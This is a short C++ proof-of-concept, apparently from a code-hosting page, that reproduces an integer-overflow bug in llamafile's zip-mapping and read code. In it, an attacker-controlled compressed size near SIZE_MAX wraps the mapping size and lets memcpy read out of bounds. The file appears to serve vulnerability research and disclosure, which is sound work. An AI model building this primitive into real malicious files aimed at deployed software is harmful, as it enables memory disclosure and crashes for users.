File size: 1,571 Bytes
150ceaf
 
 
94ce437
 
 
 
 
150ceaf
94ce437
150ceaf
 
 
 
 
 
 
 
94ce437
150ceaf
 
 
 
 
94ce437
 
150ceaf
 
94ce437
150ceaf
 
 
 
94ce437
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Faithful to llamafile.c:226-241 + llamafile_read:386-392
// mapsize = skew + size (wraps); content = mapping + skew (may be past mapping);
// read uses memcpy(ptr, content + position, amt) with amt from unwrapped size.
#include <cstdio>
#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <vector>
int main() {
  long pagesz = 16384;
  off_t off = 100; // local header end offset
  off_t mapoff = off & -pagesz;
  long skew = (long)(off - mapoff); // 100
  // Attacker zip compressed size field near SIZE_MAX so skew+size wraps
  size_t file_size = SIZE_MAX - (size_t)skew + 16; // mapsize wraps to 16
  size_t mapsize = (size_t)skew + file_size;
  fprintf(stderr, "skew=%ld file_size=%zu mapsize=%zu (wrapped)\n", skew, file_size, mapsize);
  // mapping is only mapsize bytes
  std::vector<char> mapping(mapsize ? mapsize : 1, 'A');
  char *content = (char *)mapping.data() + skew; // past end when mapsize < skew
  fprintf(stderr, "mapping=%p end=%p content=%p (past_end=%d)\n",
          (void *)mapping.data(), (void *)(mapping.data() + mapping.size()),
          (void *)content, content >= mapping.data() + mapping.size());
  // llamafile_read when position=0, len=64, trusts file->size (huge)
  size_t position = 0;
  size_t len = 64;
  if (position <= file_size) {
    size_t remain = file_size - position;
    size_t amt = len < remain ? len : remain;
    char ptr[64];
    // This is the real OOB read primitive
    memcpy(ptr, content + position, amt);
    fprintf(stderr, "memcpy OOB completed (unexpected if unmapped)\n");
  }
  return 0;
}